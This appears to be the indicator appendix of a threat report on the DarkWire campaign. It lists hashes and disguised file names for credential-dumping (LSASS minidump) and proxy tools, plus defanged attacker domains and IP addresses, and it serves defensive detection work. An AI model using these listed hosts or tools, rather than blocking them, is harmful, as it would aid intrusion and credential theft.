CopperLsass – Lsass MiniDump	slave.dll	916a16a4a1eb7393b17574835312725e5cb146995a3cbcdf42fa8b9bebaa51b1
CopperLsass – Helper	dep.dll	675a44c679dea8d40b3885c37168929f976e3a0ecacc7e02c6b07936ac58a9fc
CopperProxy	In memory	3a1b7ec461d656524e612b228ce969bfa612c799fb7117bb066352ff776d88da
PyProxy	sqlmap.exe	ee8c148518c5a416fc7d9b33246e9c98d955f2379aa9c82225e045322c97a043
SoftEther	vmtoolsd.exe	4f9d9a6cba88832fcb7cfb845472b63ff15cb9b417f4f02cb8086552c19ceffc

DarkWire Campaign Infrastructure

seosnskorea[.]com
amelicen[.]com
jamvybez[.]com
artfingo[.]com
faceorkut[.]com
aauctioneer[.]com
38.54.57[.]12
38.54.45[.]155
38.60.206[.]85
38.60.209[.]65
38.60.242[.]182
38.60.241[.]65
38.60.214[.]237
149.104.87[.]222
156.244.2[.]26
149.104.12[.]128
149.104.12[.]128
181.41.201[.]244
38.60.241[.]193
149.104.87[.]228
77.111.101[.]153
77.111.101[.]227
77.111.101[.]11
216.238.110[.]120
216.238.71[.]215
216.238.73[.]14
216.238.111[.]30
216.238.119[.]130
216.238.90[.]160
216.238.85[.]243
216.238.107[.]140
216.238.115[.]152
64.176.10[.]7
64.176.6[.]27
45.76.215[.]17
185.93.173[.]30
188.214.157[.]51
108.61.161[.]250
167.179.109[.]141
216.238.106[.]177
216.238.113[.]122
216.238.121[.]254
216.238.120[.]8